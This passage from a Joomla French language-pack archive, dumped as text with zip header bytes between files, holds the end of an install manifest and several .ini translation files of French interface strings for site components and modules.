<filename>fr-FR.mod_finder.sys.ini</filename>
<filename>fr-FR.mod_footer.ini</filename>
<filename>fr-FR.mod_footer.sys.ini</filename>
<filename>fr-FR.mod_languages.ini</filename>
<filename>fr-FR.mod_languages.sys.ini</filename>
<filename>fr-FR.mod_login.ini</filename>
<filename>fr-FR.mod_login.sys.ini</filename>
<filename>fr-FR.mod_menu.ini</filename>
<filename>fr-FR.mod_menu.sys.ini</filename>
<filename>fr-FR.mod_random_image.ini</filename>
<filename>fr-FR.mod_random_image.sys.ini</filename>
<filename>fr-FR.mod_related_items.ini</filename>
<filename>fr-FR.mod_related_items.sys.ini</filename>
<filename>fr-FR.mod_search.ini</filename>
<filename>fr-FR.mod_search.sys.ini</filename>
<filename>fr-FR.mod_stats.ini</filename>
<filename>fr-FR.mod_stats.sys.ini</filename>
<filename>fr-FR.mod_syndicate.ini</filename>
<filename>fr-FR.mod_syndicate.sys.ini</filename>
<filename>fr-FR.mod_tags_popular.ini</filename>
<filename>fr-FR.mod_tags_popular.sys.ini</filename>
<filename>fr-FR.mod_tags_similar.ini</filename>
<filename>fr-FR.mod_tags_similar.sys.ini</filename>
<filename>fr-FR.mod_users_latest.ini</filename>
<filename>fr-FR.mod_users_latest.sys.ini</filename>
<filename>fr-FR.mod_weblinks.ini</filename>
<filename>fr-FR.mod_weblinks.sys.ini</filename>
<filename>fr-FR.mod_whosonline.ini</filename>
<filename>fr-FR.mod_whosonline.sys.ini</filename>
<filename>fr-FR.mod_wrapper.ini</filename>
<filename>fr-FR.mod_wrapper.sys.ini</filename>
<filename>fr-FR.tpl_beez3.ini</filename>
<filename>fr-FR.tpl_beez3.sys.ini</filename>
<filename>fr-FR.tpl_protostar.ini</filename>
<filename>fr-FR.tpl_protostar.sys.ini</filename>
<filename>fr-FR.localise.php</filename>
<filename file="meta">install.xml</filename>
<filename file="meta">fr-FR.xml</filename>
<filename>index.html</filename>
</files>
<params />
</extension>
PK ! �6� fr-FR/index.htmlnu &1i� <!DOCTYPE html><title></title>PK ! �u���
�
fr-FR/fr-FR.com_weblinks.ininu &1i� ; @date 2015-01-30
; @author Joomla! Project
; @copyright (C) 2005 - 2020 Open Source Matters. All rights reserved.
; @copyright (C) 2005 - 2020 Joomla.fr [Traduction]
; @license GNU General Public License version 2 or later; see LICENSE.txt
; @note Complete
; @note Client Site
; @note All ini files need to be saved as UTF-8
COM_WEBLINKS_CAPTCHA_LABEL="Captcha"
COM_WEBLINKS_CAPTCHA_DESC="Veuillez compléter le contrôle de sécurité."
COM_WEBLINKS_CONTENT_TYPE_WEBLINK="Lien Web"
COM_WEBLINKS_CONTENT_TYPE_CATEGORY="Catégorie de liens web"
COM_WEBLINKS_DEFAULT_PAGE_TITLE="Liens web"
COM_WEBLINKS_EDIT="Modifier un lien web"
COM_WEBLINKS_ERR_TABLES_NAME="Il existe déjà un lien web du même nom dans cette catégorie. Veuillez réessayer."
COM_WEBLINKS_ERR_TABLES_PROVIDE_URL="Veuillez fournir une URL valide"
COM_WEBLINKS_ERR_TABLES_TITLE="Votre lien web doit comporter un titre."
COM_WEBLINKS_ERROR_CATEGORY_NOT_FOUND="La catégorie de liens web n'a pas été trouvée"
COM_WEBLINKS_ERROR_UNIQUE_ALIAS="Un autre lien web de cette catégorie a le même alias (rappel : ce lien web peut se trouver dans la corbeille)."
COM_WEBLINKS_ERROR_WEBLINK_NOT_FOUND="Le lien web n'a pas été trouvé"
COM_WEBLINKS_ERROR_WEBLINK_URL_INVALID="L'URL du lien est invalide"
COM_WEBLINKS_FIELD_ALIAS_DESC="L'alias est pour usage interne uniquement. Laissez ce champ vide et Joomla le remplacera par une valeur par défaut du titre. Il doit être unique pour chaque lien web dans la même catégorie."
COM_WEBLINKS_FIELD_CATEGORY_DESC="Vous devez sélectionner une catégorie."
COM_WEBLINKS_FIELD_DESCRIPTION_DESC="Vous devez saisir une description pour votre lien web"
COM_WEBLINKS_FILTER_LABEL="Champ de filtre"
COM_WEBLINKS_FILTER_SEARCH_DESC="Filtre de recherche dans les liens web."
COM_WEBLINKS_FIELD_TITLE_DESC="Votre lien web doit avoir un titre."
COM_WEBLINKS_FIELD_URL_DESC="Vous devez saisir une URL."
COM_WEBLINKS_FIELD_URL_LABEL="URL"
COM_WEBLINKS_FORM_CREATE_WEBLINK="Proposer un lien web"
COM_WEBLINKS_GRID_TITLE="Titre"
COM_WEBLINKS_LINK="Lien web"
COM_WEBLINKS_NAME="Nom"
COM_WEBLINKS_NO_WEBLINKS="Il n'y a pas de liens web dans cette catégorie"
COM_WEBLINKS_NUM="Nombre de liens :"
COM_WEBLINKS_NUM_ITEMS="Liens dans les catégories"
COM_WEBLINKS_FORM_EDIT_WEBLINK="Modifier un lien web"
COM_WEBLINKS_FORM_SUBMIT_WEBLINK="Proposer un lien web"
COM_WEBLINKS_SAVE_SUCCESS="Lien web enregistré."
COM_WEBLINKS_SUBMIT_SAVE_SUCCESS="Lien web proposé."
COM_WEBLINKS_WEB_LINKS="Liens internet"
JGLOBAL_NEWITEMSLAST_DESC="Les nouveaux liens web sont placés par défaut en dernière position. Leur position peut être modifiée après enregistrement."
PK ! t�L�� � fr-FR/fr-FR.com_content.ininu &1i� ; @date 2015-01-30
; @author Joomla! Project
; @copyright (C) 2005 - 2020 Open Source Matters. All rights reserved.
; @copyright (C) 2005 - 2020 Joomla.fr [Traduction]
; @license GNU General Public License version 2 or later; see LICENSE.txt
; @note Complete
; @note Client Site
; @note All ini files need to be saved as UTF-8
COM_CONTENT_ACCESS_DELETE_DESC="Droit de suppression de cet article."
COM_CONTENT_ACCESS_EDIT_DESC="Droit de modification de cet article."
COM_CONTENT_ACCESS_EDITSTATE_DESC="Droit de modification du statut de cet article."
COM_CONTENT_ARTICLE_CONTENT="Contenu"
COM_CONTENT_ARTICLE_HITS="Affichages : %s"
COM_CONTENT_ARTICLE_INFO="Détails"
COM_CONTENT_ARTICLE_VOTE_FAILURE="Vous avez déjà voté pour cet article aujourd'hui"
COM_CONTENT_ARTICLE_VOTE_SUCCESS="Merci d'avoir voté pour cet article."
COM_CONTENT_AUTHOR_FILTER_LABEL="Filtrer par auteur"
COM_CONTENT_CAPTCHA_DESC="Merci de compléter la vérification de sécurité."
COM_CONTENT_CAPTCHA_LABEL="Captcha"
COM_CONTENT_CATEGORY="Catégorie : %s"
COM_CONTENT_CATEGORY_LIST_TABLE_CAPTION="Liste des articles dans la catégorie %s"
COM_CONTENT_CHECKED_OUT_BY="Verrouillé par %s"
COM_CONTENT_CONTENT_TYPE_ARTICLE="Article"
COM_CONTENT_CONTENT_TYPE_CATEGORY="Catégorie d'article"
COM_CONTENT_CREATE_ARTICLE="Proposer un article"
COM_CONTENT_CREATED_DATE="Date de création"
COM_CONTENT_CREATED_DATE_ON="Création : %s"
COM_CONTENT_EDIT_ITEM="Modifier l'article"
COM_CONTENT_ERROR_ARTICLE_NOT_FOUND="Article introuvable"
COM_CONTENT_ERROR_LOGIN_TO_VIEW_ARTICLE="Veuillez vous connecter pour lire l'article"
COM_CONTENT_ERROR_PARENT_CATEGORY_NOT_FOUND="La catégorie parente n'a pas été trouvée"
COM_CONTENT_FEED_READMORE="Lire la suite..."
COM_CONTENT_FIELD_FULL_DESC="Image de l'introduction de l'article "
COM_CONTENT_FIELD_FULL_LABEL="Image de l'article complet"
COM_CONTENT_FIELD_IMAGE_ALT_DESC="Texte alternatif utilisé pour les utilisateurs qui n'ont pas accès aux images."
COM_CONTENT_FIELD_IMAGE_ALT_LABEL="Alt texte"
COM_CONTENT_FIELD_IMAGE_CAPTION_DESC="Légende attachée à l'image"
COM_CONTENT_FIELD_IMAGE_CAPTION_LABEL="Légende"
COM_CONTENT_FIELD_IMAGE_DESC="L'image à afficher"
COM_CONTENT_FIELD_INTRO_DESC="Image pour le texte d'introduction en affichage 'Blog' et 'En vedette'."
COM_CONTENT_FIELD_INTRO_LABEL="Image d'intro "
COM_CONTENT_FIELD_NOTE_DESC="Note optionnelle à afficher dans la liste d'articles."
COM_CONTENT_FIELD_NOTE_LABEL="Note"
COM_CONTENT_FIELD_URL_DESC="Lien vers lequel les utilisateurs seront redirigés."
COM_CONTENT_FIELD_URL_LINK_TEXT_DESC="Texte à afficher pour ce lien"
COM_CONTENT_FIELD_URL_LINK_TEXT_LABEL="Texte du lien"
COM_CONTENT_FIELD_URLA_LABEL="Lien A"
COM_CONTENT_FIELD_URLA_LINK_TEXT_LABEL="Texte du lien A"
COM_CONTENT_FIELD_URLB_LABEL="Lien B"
COM_CONTENT_FIELD_URLB_LINK_TEXT_LABEL="Texte du lien B"
COM_CONTENT_FIELD_URLC_LABEL="Lien C"
COM_CONTENT_FIELD_URLC_LINK_TEXT_LABEL="Texte du lien C"
COM_CONTENT_FILTER_SEARCH_DESC="Filtre de recherche sur les articles"
COM_CONTENT_FLOAT_DESC="Contrôles du placement de l'image"
COM_CONTENT_FLOAT_FULLTEXT_LABEL="Image en texte complet"
COM_CONTENT_FLOAT_INTRO_LABEL="Image en texte d'intro"
COM_CONTENT_FLOAT_LABEL="Position de l'image"
COM_CONTENT_FORM_EDIT_ARTICLE="Modifier un article"
COM_CONTENT_FORM_FILTER_LEGEND="Filtres"
COM_CONTENT_FORM_FILTER_SUBMIT="Filtre"
COM_CONTENT_HEADING_TITLE="Titre"
COM_CONTENT_HITS_FILTER_LABEL="Filtrer par clics"
COM_CONTENT_IMAGES_AND_URLS="Images et liens"
COM_CONTENT_INTROTEXT="L'article doit contenir du texte"
COM_CONTENT_INVALID_RATING="Évaluation d'article : évaluation non valide : %s"
COM_CONTENT_LAST_UPDATED="Mis à jour : %s"
COM_CONTENT_LEFT="Gauche"
COM_CONTENT_METADATA="Métadonnées"
COM_CONTENT_MODAL_FILTER_SEARCH_DESC="Recherche sur titre ou alias. Préfixe avec ID: ou AUTHOR: recherche l'ID ou l'auteur de l'article."
COM_CONTENT_MODAL_FILTER_SEARCH_LABEL="Recherche articles"
COM_CONTENT_MODIFIED_DATE="Date de modification"
COM_CONTENT_MONTH="Mois"
COM_CONTENT_MORE_ARTICLES="Plus d'articles..."
COM_CONTENT_NEW_ARTICLE="Nouvel article"
COM_CONTENT_NO_ARTICLES="Il n'y a aucun article dans cette catégorie. Si des sous-catégories sont affichées sur cette page, elles peuvent contenir des articles."
COM_CONTENT_NONE="Aucun"
COM_CONTENT_NUM_ITEMS="Nombre d'articles :"
COM_CONTENT_NUM_ITEMS_TIP="Nombre d'articles"
COM_CONTENT_ON_NEW_CONTENT="Un nouvel article a été proposé par '%1$s', intitulé '%2$s'."
COM_CONTENT_ORDERING="Classement :<br />Les nouveaux articles sont positionnés par défaut en début de liste de la Catégorie. Le classement peut être modifié depuis l'administration du site."
COM_CONTENT_PAGEBREAK_DOC_TITLE="Saut de page"
COM_CONTENT_PAGEBREAK_INSERT_BUTTON="Insérer un saut de page"
COM_CONTENT_PAGEBREAK_TITLE="Titre de la page :"
COM_CONTENT_PAGEBREAK_TOC="Alias du sommaire:"
COM_CONTENT_PARENT="Catégorie parente: %s"
COM_CONTENT_PUBLISHED_DATE="Date de publication"
COM_CONTENT_PUBLISHED_DATE_ON="Publication : %s"
COM_CONTENT_PUBLISHING="Publication"
COM_CONTENT_RATINGS="Évaluation"
COM_CONTENT_RATINGS_COUNT="Évaluation : %s"
COM_CONTENT_READ_MORE="Lire la suite : "
COM_CONTENT_READ_MORE_TITLE="Lire la suite..."
COM_CONTENT_REGISTER_TO_READ_MORE="Veuillez vous identifier ou vous inscrire pour lire la suite..."
COM_CONTENT_RIGHT="Droite"
COM_CONTENT_SAVE_SUCCESS="Article enregistré."
COM_CONTENT_SAVE_WARNING="L'alias existait déjà, un chiffre a donc été ajouté à la fin. Pour changer l'alias, modifier à nouveau l'article."
COM_CONTENT_SELECT_AN_ARTICLE="Sélectionnez un article"
COM_CONTENT_SUBMIT_SAVE_SUCCESS="Article proposé."
COM_CONTENT_TITLE_FILTER_LABEL="Filtrer par titres"
COM_CONTENT_VOTES="Vote"
COM_CONTENT_VOTES_COUNT="Vote: %s"
COM_CONTENT_WRITTEN_BY="Écrit par %s"
PK ! ���] ] fr-FR/fr-FR.mod_stats.ininu &1i� ; @date 2015-01-30
; @author Joomla! Project
; @copyright (C) 2005 - 2020 Open Source Matters. All rights reserved.
; @copyright (C) 2005 - 2020 Joomla.fr [Traduction]
; @license GNU General Public License version 2 or later; see LICENSE.txt
; @note Complete
; @note Client Site
; @note All ini files need to be saved as UTF-8
MOD_STATS="Statistiques"
MOD_STATS_ARTICLES="Articles"
MOD_STATS_ARTICLES_VIEW_HITS="Compteur d'affichages des articles"
MOD_STATS_CACHING="Mise en cache"
MOD_STATS_FIELD_COUNTER_DESC="Activer/Désactiver l'affichage du compteur de 'clics sur les articles'."
MOD_STATS_FIELD_COUNTER_LABEL="Compteur de clics"
MOD_STATS_FIELD_INCREASECOUNTER_DESC="Spécifiez la valeur initiale du compteur depuis laquelle se fera l'incrémentation des clics."
MOD_STATS_FIELD_INCREASECOUNTER_LABEL="Valeur initiale du compteur"
MOD_STATS_FIELD_SERVERINFO_DESC="Activer/Désactiver l'affichage des informations sur le serveur du site."
MOD_STATS_FIELD_SERVERINFO_LABEL="Informations serveur"
MOD_STATS_FIELD_SITEINFO_DESC="Activer/Désactiver l'affichage des informations sur les articles, les liens web et les utilisateurs inscrits sur le site."
MOD_STATS_FIELD_SITEINFO_LABEL="Informations sur le site"
MOD_STATS_GZIP="Gzip"
MOD_STATS_MYSQL="MySQL"
MOD_STATS_OS="OS"
MOD_STATS_PHP="PHP"
MOD_STATS_TIME="Temps"
MOD_STATS_USERS="Visiteurs"
MOD_STATS_WEBLINKS="Liens internet"
MOD_STATS_XML_DESCRIPTION="Le module 'mod_stats' affiche des information sur votre serveur ainsi que des statistiques sur les utilisateurs du site et le nombre d'articles dans votre base de données."
PK ! �V�� � fr-FR/fr-FR.lib_fof.ininu &1i� ; @package FrameworkOnFramework
; @date 2015-06-04
; @copyright Copyright (C) 2010 - 2015 Nicholas K. Dionysopoulos / Akeeba Ltd. All rights reserved.
; @copyright (C) 2005 - 2017 Joomla.fr [Traduction]
; @license GNU General Public License version 2, or later
; @note Complete
; @note Client Site
; @note All ini files need to be saved as UTF-8
LIB_FOF_DOWNLOAD_ERR_COULDNOTDOWNLOADFROMURL="Impossible de télécharger de %s"
LIB_FOF_DOWNLOAD_ERR_COULDNOTWRITELOCALFILE="Le fichier local %s n'est pas ouvert en écriture"
LIB_FOF_DOWNLOAD_ERR_CURL_ERROR="Le téléchargement a échoué : erreur cURL %s: %s"
LIB_FOF_DOWNLOAD_ERR_HTTPERROR="Statut HTTP inattendu %s"
PK ! ���� � $ fr-FR/fr-FR.mod_tags_popular.sys.ininu &1i� ; @date 2015-10-22
; @author Joomla! Project
; @copyright (C) 2005 - 2020 Open Source Matters. All rights reserved.
; @copyright (C) 2005 - 2020 Joomla.fr [Traduction]
; @license GNU General Public License version 2 or later; see LICENSE.txt
; @note Complete
; @note Client Site
; @note All ini files need to be saved as UTF-8
MOD_TAGS_POPULAR="Tags populaires"
MOD_TAGS_POPULAR_LAYOUT_CLOUD="Nuage"
MOD_TAGS_POPULAR_LAYOUT_DEFAULT="Défaut"
MOD_TAGS_POPULAR_XML_DESCRIPTION="Le module 'Tags populaires' affiche les tags les plus couramment utilisés, dans des délais spécifiques si souhaité."
PK ! ���5
5
fr-FR/fr-FR.lib_ic_library.ininu &1i� ; iC Library
; Copyright (c) 2013-2019 Cyril Rezé (www.joomlic.com). All rights reserved.
; License GNU General Public License version 3 or later <http://www.gnu.org/licenses/gpl.html>
; Note : All ini files need to be saved as UTF-8 - No BOM
;
; SITE : lib_ic_library.ini
; Translation Platform : https://www.transifex.com/joomlic/icagenda
; Common boolean values
; Note: YES, NO, TRUE, FALSE are reserved words in INI format.
; Double quotes in the values have to be formatted as "_QQ_"
ICLIB_XML_DESCRIPTION="iC Library est une librarie qui fournit un ensemble de fonctions pour le CMS Joomla! et les extensions JoomliC"
; Warning thumb generator
ICLIB_ERROR_ICTHUMB="Erreur"
ICLIB_ERROR_ICTHUMB_INFO="Impossible de créer les miniatures"
ICLIB_ERROR_ALERT_IMAGE_TOO_LARGE="Votre image <strong>%s</strong> est trop grande. Merci de redimensionner l'image, ou d'étendre la valeur memory_limit de votre serveur."
ICLIB_ERROR_IMAGE_TOO_LARGE="Impossible de générer les miniatures. Image trop grande."
ICLIB_ERROR_MIME_TYPE="Erreur de type MIME !!!"
ICLIB_ERROR_MIME_TYPE_INFO="L'extension <i>%s</i> n'est pas correcte, car le type MIME de votre fichier est <i>%s</i>."
ICLIB_ERROR_MIME_TYPE_NO_THUMBNAIL="Les miniatures ne peuvent pas être créées."
ICLIB_INVALID_PICTURE_LINK="Lien de l'image non-valide!"
ICLIB_NOT_AUTHORIZED_IMAGE_TYPE="Format d'image non permis!"
ICLIB_NOT_AUTHORIZED_IMAGE_TYPE_INFO="La création des miniatures est compatible avec les formats suivants: jpg, jpeg, png, gif et bmp."
ICLIB_PHP_ERROR_FOPEN="Le paramètre PHP allow_url_fopen est désactivé. Ce paramètre doit être activé sur votre serveur pour permettre la copie d'images distantes (URL). Dans le cas contraire, les miniatures ne pourront pas être créées à partir de l'url d'une image."
ICLIB_PHP_ERROR_FOPEN_COPY_BMP="Le paramètre PHP allow_url_fopen n'est pas activé sur votre serveur!"
ICLIB_PHP_ERROR_FOPEN_COPY_BMP_INFO="Ce paramètre doit être activé pour permettre la création de miniatures à partir de url d'une image bmp."
; PHP config error message
ICLIB_YOUR_PHP_VERSION_IS="Votre version php est %s."
ICLIB_PHP_VERSION_JOOMLA_RECOMMENDED="La version PHP recommandée par Joomla est %s"
ICLIB_PHP_VERSION_ICAGENDA_RECOMMENDATION="Nous vous recommandons fortement de mettre à jour votre version PHP dans la mesure du possible, afin de prévenir d'éventuels bogues, erreurs, ou incompatibilités qui pourraient survenir dans les versions futures d'iCagenda."
ICLIB_PHP_ERROR_GD="Il semblerait que la librairie GD n'est pas installée sur votre serveur! Ce paramètre doit être activé pour que le générateur de miniatures puisse fonctionner."
; Upload image file type control
IC_LIBRARY_UPLOAD_NOT_SUPPORTED="Téléchargement de fichiers non pris en charge!"
IC_LIBRARY_UPLOAD_INVALID_FILE_TYPE_ALERT="Type de fichier non-valide:"
IC_LIBRARY_UPLOAD_INVALID_SIZE="Le fichier %s fait %s Ko! La taille maximum autorisée est de %s Ko.<br />Veuillez sélectionner un autre fichier, ou réduire la taille de celui-ci avant de le télécharger."
IC_LIBRARY_UPLOAD_INVALID_FILE_TYPE="Le fichier %s a un format non-valide!<br />Vous êtes autorisé à télécharger les types de fichier suivants: %s<br />Veuillez sélectionner un autre fichier, ou convertir celui-ci dans un format accepté avant de le télécharger."
IC_LIBRARY_KILO_BYTES="Ko"
PK ! t�
�
! fr-FR/fr-FR.mod_articles_news.ininu &1i� ; @date 2015-10-22
; @author Joomla! Project
; @copyright (C) 2005 - 2020 Open Source Matters. All rights reserved.
; @copyright (C) 2005 - 2020 Joomla.fr [Traduction]
; @license GNU General Public License version 2 or later; see LICENSE.txt
; @note Complete
; @note Client Site
; @note All ini files need to be saved as UTF-8
MOD_ARTICLES_NEWS="Flash d'information"
MOD_ARTICLES_NEWS_FIELD_FEATURED_DESC="Afficher ou non les articles mis en vedette."
MOD_ARTICLES_NEWS_FIELD_FEATURED_LABEL="Articles mis en vedette"
MOD_ARTICLES_NEWS_FIELD_CATEGORY_DESC="Sélectionnez la ou les catégories des articles à afficher."
MOD_ARTICLES_NEWS_FIELD_IMAGES_ARTICLE_DESC="Afficher l'image d'intro ou de l'article complet."
MOD_ARTICLES_NEWS_FIELD_IMAGES_ARTICLE_LABEL="Afficher image intro/article complet"
MOD_ARTICLES_NEWS_FIELD_IMAGES_DESC="Affiche les images qui se trouvent dans le texte de l'article."
MOD_ARTICLES_NEWS_FIELD_IMAGES_LABEL="Afficher les images de l'article"
MOD_ARTICLES_NEWS_FIELD_ITEMS_DESC="Définissez par une valeur numérique le nombre d'articles à afficher."
MOD_ARTICLES_NEWS_FIELD_ITEMS_LABEL="Nombre d'articles"
MOD_ARTICLES_NEWS_FIELD_LINKTITLE_DESC="Activer/Désactiver le lien sur les titres vers leur article."
MOD_ARTICLES_NEWS_FIELD_LINKTITLE_LABEL="Lien sur les titres"
MOD_ARTICLES_NEWS_FIELD_ORDERING_DESC="Sélectionnez l'ordre dans lequel vous voulez afficher les résultats de recherche."
MOD_ARTICLES_NEWS_FIELD_ORDERING_LABEL="Ordre de tri"
MOD_ARTICLES_NEWS_FIELD_ORDERING_CREATED_DATE="Date de création"
MOD_ARTICLES_NEWS_FIELD_ORDERING_MODIFIED_DATE="Date de modification"
MOD_ARTICLES_NEWS_FIELD_ORDERING_PUBLISHED_DATE="Date de publication"
MOD_ARTICLES_NEWS_FIELD_ORDERING_ORDERING="Ordre prédéfini"
MOD_ARTICLES_NEWS_FIELD_ORDERING_RANDOM="Ordre aléatoire"
MOD_ARTICLES_NEWS_FIELD_READMORE_DESC="Afficher/Masquer le lien 'Lire la suite...' s'il a été inséré dans l'article."
MOD_ARTICLES_NEWS_FIELD_READMORE_LABEL="Lien 'Lire la suite...'"
MOD_ARTICLES_NEWS_FIELD_SEPARATOR_DESC="Activer/Désactiver l'insertion d'un séparateur après le dernier article."
MOD_ARTICLES_NEWS_FIELD_SEPARATOR_LABEL="Séparateur"
MOD_ARTICLES_NEWS_FIELD_TITLE_DESC="Activer/Désactiver l'affichage du titre des articles."
MOD_ARTICLES_NEWS_FIELD_TITLE_LABEL="Titre des articles"
MOD_ARTICLES_NEWS_FIELD_TRIGGEREVENTS_DESC="Déclenche des 'Events' de plug-ins additionnels pour afficher des contenus supplémentaires du type champs personnalisés ou informations de vote."
MOD_ARTICLES_NEWS_FIELD_TRIGGEREVENTS_LABEL="Déclenche des 'Events' de plug-ins"
MOD_ARTICLES_NEWS_FIELD_SHOWINTROTEXT_DESC="Afficher ou non le texte d'introduction."
MOD_ARTICLES_NEWS_FIELD_SHOWINTROTEXT_LABEL="Afficher le texte d'introduction"
MOD_ARTICLES_NEWS_OPTION_FULLIMAGE="Image de l'article complet"
MOD_ARTICLES_NEWS_OPTION_INTROIMAGE="Image d'intro"
MOD_ARTICLES_NEWS_READMORE="Lire la suite..."
MOD_ARTICLES_NEWS_READMORE_REGISTER="S'inscrire pour lire la suite"
MOD_ARTICLES_NEWS_TITLE_HEADING="Balise du titre"
MOD_ARTICLES_NEWS_TITLE_HEADING_DESCRIPTION="Sélectionnez la balise HTML à appliquer aux titres."
MOD_ARTICLES_NEWS_VALUE_ONLY_SHOW_FEATURED="N'afficher que les articles mis en vedette"
MOD_ARTICLES_NEWS_XML_DESCRIPTION="Le module 'mod_articles_news' affiche un nombre défini d'introductions d'article d'une ou de plusieurs catégories. Si aucune catégorie n'est sélectionnée, toutes les catégories seront utilisées."
PK ! $��W� � ( fr-FR/fr-FR.mod_articles_archive.sys.ininu &1i� ; @date 2015-01-31
; @author Joomla! Project
; @copyright (C) 2005 - 2020 Open Source Matters. All rights reserved.
; @copyright (C) 2005 - 2020 Joomla.fr [Traduction]
; @license GNU General Public License version 2 or later; see LICENSE.txt
; @note Complete
; @note Client Site
; @note All ini files need to be saved as UTF-8
MOD_ARTICLES_ARCHIVE="Articles - Archivés"
MOD_ARTICLES_ARCHIVE_XML_DESCRIPTION="Le module 'mod_articles_archive' affiche un calendrier mensuel des articles archivés. Lorsque vous archivez un article, cette liste est automatiquement mise à jour."
MOD_ARTICLES_ARCHIVE_LAYOUT_DEFAULT="Défaut"
PK ! "�Ô � fr-FR/fr-FR.mod_custom.sys.ininu &1i� ; @date 2015-10-22
; @author Joomla! Project
; @copyright (C) 2005 - 2020 Open Source Matters. All rights reserved.
; @copyright (C) 2005 - 2020 Joomla.fr [Traduction]
; @license GNU General Public License version 2 or later; see LICENSE.txt
; @note Client Site
; @note All ini files need to be saved as UTF-8
MOD_CUSTOM="Contenu personnalisé"
MOD_CUSTOM_XML_DESCRIPTION="Le module 'mod_custom' permet de créer vos propres modules personnalisés en y intégrant les contenus souhaités à l'aide de l'éditeur, code inclus si les droits de l'éditeur et de Joomla vous le permettent."
MOD_CUSTOM_LAYOUT_DEFAULT="Défaut"
PK ! �@� fr-FR/fr-FR.mod_menu.sys.ininu &1i� ; @date 2015-01-30
; @author Joomla! Project
; @copyright (C) 2005 - 2020 Open Source Matters. All rights reserved.
; @copyright (C) 2005 - 2020 Joomla.fr [Traduction]
; @license GNU General Public License version 2 or later; see LICENSE.txt
; @note Complete
; @note Client Site
; @note All ini files need to be saved as UTF-8
MOD_MENU="Menu"
MOD_MENU_XML_DESCRIPTION="Le module 'mod_menu' affiche les liens d'un menu spécifié selon les paramètres choisis."
MOD_MENU_LAYOUT_DEFAULT="Défaut"
PK ! �1r � � fr-FR/fr-FR.com_search.ininu &1i� ; @date 2015-07-20
; @author Joomla! Project
; @copyright (C) 2005 - 2020 Open Source Matters. All rights reserved.
; @copyright (C) 2005 - 2020 Joomla.fr [Traduction]
; @license GNU General Public License version 2 or later; see LICENSE.txt
; @note Complete
; @note Client Site
; @note All ini files need to be saved as UTF-8
COM_SEARCH_ALL_WORDS="Tous les mots"
COM_SEARCH_ALPHABETICAL="Alphabétique"
COM_SEARCH_ANY_WORDS="N'importe quel mot"
COM_SEARCH_ERROR_ENTERKEYWORD="Saisissez un mot-clé à rechercher"
COM_SEARCH_ERROR_IGNOREKEYWORD="Un ou plusieurs mots-clés ont été ignorés lors de cette recherche"
COM_SEARCH_ERROR_SEARCH_MESSAGE="Les mots recherchés doivent comporter entre %1$s et %2$s caractères"
COM_SEARCH_EXACT_PHRASE="Phrase exacte"
COM_SEARCH_FIELD_SEARCH_PHRASES_DESC="Afficher les options de recherche"
COM_SEARCH_FIELD_SEARCH_PHRASES_LABEL="Utiliser les options de recherche"
COM_SEARCH_FIELD_SEARCH_AREAS_DESC="Utiliser les champs de recherche (avec cases à cocher)"
COM_SEARCH_FIELD_SEARCH_AREAS_LABEL="Utiliser les champs de recherche"
COM_SEARCH_FOR="Rechercher :"
COM_SEARCH_MOST_POPULAR="Les plus populaires"
COM_SEARCH_NEWEST_FIRST="Le plus récent en premier"
COM_SEARCH_OLDEST_FIRST="Le plus ancien en premier"
COM_SEARCH_ORDERING="Classement :"
COM_SEARCH_SEARCH="Rechercher"
COM_SEARCH_SEARCH_AGAIN="Rechercher de nouveau"
COM_SEARCH_SEARCH_KEYWORD="Élément à rechercher :"
COM_SEARCH_SEARCH_KEYWORD_N_RESULTS_1="<strong>Total : Un résultat trouvé.</strong>"
COM_SEARCH_SEARCH_KEYWORD_N_RESULTS="<strong>Total : %s résultats trouvés.</strong>"
COM_SEARCH_SEARCH_ONLY="Rechercher uniquement dans :"
COM_SEARCH_SEARCH_RESULT="Résultat de la recherche"
PK ! �"vr fr-FR/fr-FR.mod_login.sys.ininu &1i� ; @date 2015-10-15
; @author Joomla! Project
; @copyright (C) 2005 - 2020 Open Source Matters. All rights reserved.
; @copyright (C) 2005 - 2020 Joomla.fr [Traduction]
; @license GNU General Public License version 2 or later; see LICENSE.txt
; @note Complete
; @note Client Site
; @note All ini files need to be saved as UTF-8
MOD_LOGIN="Connexion"
MOD_LOGIN_XML_DESCRIPTION="Le module 'mod_login' affiche un formulaire d'identification pour se connecter sur le site et, selon les paramètres choisis, un lien pour récupérer l'identifiant si oublié, régénérer un nouveau mot de passe et, créer un compte si l'inscription des utilisateurs est autorisée (voir Utilisateurs->Paramètres)."
MOD_LOGIN_LAYOUT_DEFAULT="Défaut"
PK ! �%v_ _ # fr-FR/fr-FR.mod_breadcrumbs.sys.ininu &1i� ; @date 2015-10-22
; @author Joomla! Project
; @copyright (C) 2005 - 2020 Open Source Matters. All rights reserved.
; @copyright (C) 2005 - 2020 Joomla.fr [Traduction]
; @license GNU General Public License version 2 or later; see LICENSE.txt
; @note Complete
; @note Client Site
; @note All ini files need to be saved as UTF-8
MOD_BREADCRUMBS="Fil de navigation"
MOD_BREADCRUMBS_XML_DESCRIPTION="Le module 'mod_breadcrumbs' affiche un fil de navigation dans le site permettant à l'utilisateur de savoir où il se situe."
MOD_BREADCRUMBS_LAYOUT_DEFAULT="Défaut"
PK ! �U� fr-FR/fr-FR.mod_breadcrumbs.ininu &1i� ; @date 2015-10-22
; @author Joomla! Project
; @copyright (C) 2005 - 2020 Open Source Matters. All rights reserved.
; @copyright (C) 2005 - 2020 Joomla.fr [Traduction]
; @license GNU General Public License version 2 or later; see LICENSE.txt
; @note Complete
; @note Client Site
; @note All ini files need to be saved as UTF-8
MOD_BREADCRUMBS="Fil de navigation"
MOD_BREADCRUMBS_FIELD_HOMETEXT_DESC="Spécifier le nom à utiliser pour la racine du fil de navigation, correspondant à la page d'accueil."
MOD_BREADCRUMBS_FIELD_HOMETEXT_LABEL="Texte de page d'accueil"
MOD_BREADCRUMBS_FIELD_SEPARATOR_DESC="Spécifier le caractère à utiliser pour séparer les éléments du fil de navigation."
MOD_BREADCRUMBS_FIELD_SEPARATOR_LABEL="Séparateur de texte"
MOD_BREADCRUMBS_FIELD_SHOWHERE_DESC="Afficher/Masquer le texte d'introduction 'Vous êtes ici' dans le fil de navigation."
MOD_BREADCRUMBS_FIELD_SHOWHERE_LABEL="Intro 'Vous êtes ici'"
MOD_BREADCRUMBS_FIELD_SHOWHOME_DESC="Afficher/Masquer la page d'accueil correspondant à la racine du fil de navigation."
MOD_BREADCRUMBS_FIELD_SHOWHOME_LABEL="Page d'accueil"
MOD_BREADCRUMBS_FIELD_SHOWLAST_DESC="Afficher/Masquer le dernier élément du fil de navigation."
MOD_BREADCRUMBS_FIELD_SHOWLAST_LABEL="Dernier élément"
